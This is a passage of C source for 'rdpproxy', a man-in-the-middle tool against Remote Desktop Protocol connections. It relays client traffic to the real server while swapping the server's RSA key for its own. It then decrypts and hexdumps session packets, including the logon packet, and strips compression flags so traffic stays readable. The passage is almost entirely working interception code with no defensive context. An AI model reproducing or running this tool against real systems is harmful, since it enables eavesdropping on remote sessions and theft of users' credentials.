368	(unsigned long ) key = cert_len; /* FIXME endianness */
369
370	printf("CA cert length is %d, cert length is %d\n", cacert_len, cert_len);
371
372	delta = (cacert_len + cert_len + 32) - rsainfolen;
373
374	if (0 < delta)
375	{
376	printf("Compensating RSA info len - should be %d\n", rsainfolen + delta);
377	buf_out_uint32(rsainfolen_p, rsainfolen + delta);
378	printf("Compensating Tagged data length - should be %d\n", length + delta);
379	buf_out_uint16le(cryptinfo_len_p, length + delta);
380	printf("Compensating MCS data length - should be %d\n", mcslen + delta);
381	buf_out_uint16be(mcslen_p, mcslen + delta);
382	printf("Compensating packet length - current value %d, should be %d\n",
383	len, len + delta);
384	len += delta;
385	buf_out_uint16be(buffer + 2, len);
386	printf("Padding with zeros at end of packet\n");
387	memset(buffer + len + delta - 16, 0, 16);
388
389	rem_length = buf_in_uint16be(rem_length_p) & ~0x8000;
390	buf_out_uint16be(rem_length_p, (rem_length + delta) \| 0x8000);
391
392	userdata_length = buf_in_uint16be(userdata_length_p);
393	buf_out_uint16be(userdata_length_p, userdata_length + delta);
394
395	}
396	#else
397
398	/* extract server key */
399	rsakey += 16;
400	memcpy(server_exponent, rsakey, SEC_EXPONENT_SIZE);
401	rsakey += SEC_EXPONENT_SIZE;
402	memcpy(server_modulus, rsakey, SEC_MODULUS_SIZE);
403	server_key = make_public_key(server_modulus, server_exponent);
404
405	/* replace */
406	BN_bn2bin(proxy_key->n, rsakey);
407	reverse(rsakey, SEC_MODULUS_SIZE);
408	#endif
409
410	printf("Substituted server key\n");
411	faked_packet = 1;
412	server_key_subst_done = 1;
413
414	return len;
415	}
416
417	static void
418	decrypt(unsigned char buffer, unsigned int len, void (fn) (unsigned char *buffer, int length))
419	{
420	int encrypted = 0;
421	int skip;
422
423	if (buffer[0] == 3) /* ISO over TCP */
424	{
425	if (buffer[13] & 0x80) /* 16-bit length in MCS header */
426	skip = 15 + 12;
427	else
428	skip = 14 + 12;
429
430	if (len > skip)
431	encrypted = (unsigned long ) (buffer + skip - 12) & SEC_ENCRYPT;
432	}
433	else /* assume RDP5 style packet */
434	{
435	if (buffer[1] & 0x80) /* 16-bit length */
436	skip = 3 + 8;
437	else
438	skip = 2 + 8;
439
440	if (len > skip)
441	encrypted = buffer[0] & 0x80;
442	}
443
444	if (encrypted)
445	{
446	if (client_key_subst_done)
447	fn(buffer + skip, len - skip);
448	else
449	printf("Can't decrypt, haven't seen client random!\n");
450	}
451
452	if (server_key_subst_done)
453	hexdump(buffer, len);
454	}
455
456	static void
457	substitute_compression(unsigned char *buffer, unsigned int len)
458	{
459	uint32 flags, packetflags;
460
461
462	if (compression_substs_done)
463	return;
464	if (!(buffer[7] & 0x64))
465	{ /* Not a MCS SDRQ - actually quite a
466	useless check since this function isn't
467	called unless the packet is from the client */
468	return;
469	}
470
471	packetflags = buf_in_uint32le(buffer + 15);
472	if (!(packetflags & 0x0040))
473	return; /* Not a RDP Logon info packet */
474
475	flags = buf_in_uint32le(buffer + 31);
476
477	printf("Found the RDP Logon packet, flags is %d (%x)\n", flags, flags);
478
479	if (flags & 0x280)
480	{
481	printf("Setting compression flags to zero\n");
482	flags &= ~0x280;
483
484	buf_out_uint32(buffer + 31, flags);
485
486	}
487	printf("Flags is now %d (%x)\n", flags, flags);
488
489	compression_substs_done = 1;
490	}
491
492	static void
493	decrypt_client(unsigned char *buffer, unsigned int len, int server)
494	{
495
496	int encrypted = 0;
497	int skip;
498	unsigned char buffercopy[65536];
499	uint8 signature[8];
500
501	if (buffer[0] == 3) /* ISO over TCP */
502	{
503	if (buffer[13] & 0x80) /* 16-bit length in MCS header */
504	skip = 15 + 12;
505	else
506	skip = 14 + 12;
507
508	if (len > skip)
509	encrypted = (unsigned long ) (buffer + skip - 12) & SEC_ENCRYPT;
510	}
511	else /* assume RDP5 style packet */
512	{
513	if (buffer[1] & 0x80) /* 16-bit length */
514	skip = 3 + 8;
515	else
516	skip = 2 + 8;
517
518	if (len > skip)
519	encrypted = buffer[0] & 0x80;
520	}
521
522	substitute_client(buffer, len);
523
524
525	if (encrypted && client_key_subst_done)
526	{
527	sec_encrypt(buffer + skip, len - skip);
528	memset(signature, 0, 8);
529
530	/* This is where you can put substitution code */
531
532	substitute_compression(buffer, len);
533
534	#ifdef USE_X509
535	substitute_licence(buffer, len);
536	#endif
537	sec_sign_buf(signature, 8, buffer + skip, len - skip);
538	printf("Signature should be ");
539	hexdump(signature, 8);
540	hexdump(buffer, len);
541	memcpy(buffer + skip - 8, signature, 8);
542	sec_encrypt2(buffer + skip, len - skip);
543	}
544	else
545	{
546	printf("Can't decrypt, haven't seen client random!\n");
547	hexdump(buffer, len);
548	}
549
550	send(server, buffer, len, 0);
551
552
553	}
554
555	static int
556	recv_pdu(int fd, unsigned char *buffer, unsigned int len, int part)
557	{
558	unsigned int pdulen;
559	int res;
560
561	static int clnt_packetnr;
562	static int srvr_packetnr;
563	static int total_packetnr;
564
565	res = recv(fd, buffer, 4, MSG_WAITALL);
566	if (res <= 0)
567	return res;
568
569	if (CLIENT == part)
570	{
571	printf("#%d, #%d from Client, ", ++total_packetnr, ++clnt_packetnr);
572	}
573	else
574	{
575	printf("#%d, #%d from Server, ", ++total_packetnr, ++srvr_packetnr);
576	}
577
578
579	if (buffer[0] == 3) /* ISO over TCP */
580	{
581	pdulen = ((unsigned int) buffer[2] << 8) \| buffer[3];
582	printf("type TPKT, l: %d, ", pdulen);
583
584	}
585	else /* assume RDP5 style packet */
586	{
587	pdulen = buffer[1];
588
589	if (pdulen & 0x80)
590	pdulen = ((pdulen & 0x7f) << 8) \| buffer[2];
591	printf("type RDP5, l: %d, ", pdulen);
592	}
593
594	if (pdulen > len)
595	{
596	fprintf(stderr, "PDU size %d would overflow buffer\n", pdulen);
597	return 0;
598	}
599
600	res = recv(fd, buffer + 4, pdulen - 4, MSG_WAITALL);
601	if (res <= 0)
602	return res;
603
604	printf("read %d bytes\n", res + 4);
605
606	return (res + 4);
607	}
608
609	static void
610	relay(int client, int server)
611	{
612	unsigned char buffer[65536];
613	fd_set fds;
614	int max, len;
615
616	FD_ZERO(&fds);
617	max = (client > server) ? client : server;
618
619	while (1)
620	{
621	FD_SET(client, &fds);
622	FD_SET(server, &fds);
623
624	switch (select(max + 1, &fds, NULL, NULL, NULL))
625	{
626	case -1:
627	perror("select");
628
629	case 0:
630	return;
631	}
632
633	if (FD_ISSET(client, &fds))
634	{
635	len = recv_pdu(client, buffer, sizeof(buffer), CLIENT);
636	switch (len)
637	{
638	case -1:
639	perror("client recv");
640	case 0:
641	return;
642	}
643
644	decrypt_client(buffer, len, server);
645	}
646
647	if (FD_ISSET(server, &fds))
648	{
649	len = recv_pdu(server, buffer, sizeof(buffer), SERVER);
650	switch (len)
651	{
652	case -1:
653	perror("server recv");
654	case 0:
655	return;
656	}
657	if (!server_key_subst_done)
658	{
659	hexdump(buffer, len);
660	}
661	len = substitute_server(buffer, len);
662	send(client, buffer, len, 0);
663	decrypt(buffer, len, sec_decrypt);
664	}
665	}
666	}
667
668	int
669	main(int argc, char *argv[])
670	{
671	struct sockaddr_in listener_addr;
672	struct sockaddr_in server_addr;
673	struct hostent *nslookup;
674	int listener, client, server;
675	unsigned char privkey_buffer[1024];
676	unsigned char *privkey = privkey_buffer;
677	int true = 1;
678	int n;
679
680	#ifndef LINUX_NETFILTER
681	if (argc < 2)
682	{
683	printf("Usage: rdpproxy <server ip>\n");
684	return 1;
685	}
686	#endif
687
688	n = read_file(PRIV_KEY_FILE, privkey_buffer, sizeof(privkey_buffer));
689
690
691
692	proxy_key = d2i_RSAPrivateKey(NULL, &privkey, n);
693	memset(privkey_buffer, 0, sizeof(privkey_buffer));
694	if (proxy_key == NULL)
695	{
696	printf("Error loading private key\n");
697	return 1;
698	}
699
700	if ((listener = socket(AF_INET, SOCK_STREAM, 0)) < 0)
701	{
702	perror("socket");
703	return 1;
704	}
705
706	listener_addr.sin_family = AF_INET;
707	listener_addr.sin_port = htons(TCP_PORT_RDP);
708	listener_addr.sin_addr.s_addr = htonl(INADDR_ANY);
709
710	setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &true, sizeof(true));
711
712	if (bind(listener, (struct sockaddr *) &listener_addr, sizeof(listener_addr)) < 0)
713	{
714	perror("bind");
715	return 1;
716	}
717
718	if (listen(listener, 1) < 0)
719	{
720	perror("listen");
721	return 1;
722	}
723
724	printf("RDPPROXY: waiting for connection...\n");
725
726	if ((client = accept(listener, NULL, NULL)) < 0)
727	{
728	perror("accept");
729	return 1;
730	}
731
732	if ((server = socket(AF_INET, SOCK_STREAM, 0)) < 0)
733	{
734	perror("socket");
735	return 1;
736	}
737
738	server_addr.sin_family = AF_INET;
739	server_addr.sin_port = htons(TCP_PORT_RDP);
740
741	#ifdef LINUX_NETFILTER
742	if (argc < 2)
743	{
744	/* Fetch server address from netfilter */
745	size_t sock_sz;
746	sock_sz = sizeof(server_addr);
747
748	if (getsockopt(client, SOL_IP, SO_ORIGINAL_DST, &server_addr, &sock_sz) != 0)
749	{
750	perror("getsockopt");
751	fprintf(stderr, "Not a redirected connection?\n");
752	exit(1);
753	}
754
755	fprintf(stderr, "server IP = %s\n", inet_ntoa(server_addr.sin_addr));
756	}
757	else
758	#endif
759	{
760	/* Use server name from command line */
761	if (NULL != (nslookup = gethostbyname(argv[1])))
762	{
763	memcpy(&server_addr.sin_addr, nslookup->h_addr,
764	sizeof(server_addr.sin_addr));
765	}
766	else if (INADDR_NONE == (server_addr.sin_addr.s_addr = inet_addr(argv[1])))
767	{
768	printf("%s: Unable to resolve host\n", argv[1]);
769	return 1;
770	}
771	}
772
773	if (connect(server, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0)
774	{
775	perror("connect");
776	return 1;
777	}
778
779	setsockopt(client, SOL_TCP, TCP_NODELAY, &true, sizeof(true));
780	setsockopt(server, SOL_TCP, TCP_NODELAY, &true, sizeof(true));
781
782	relay(client, server);
783
784	close(server);
785	close(client);
786	return 0;
787	}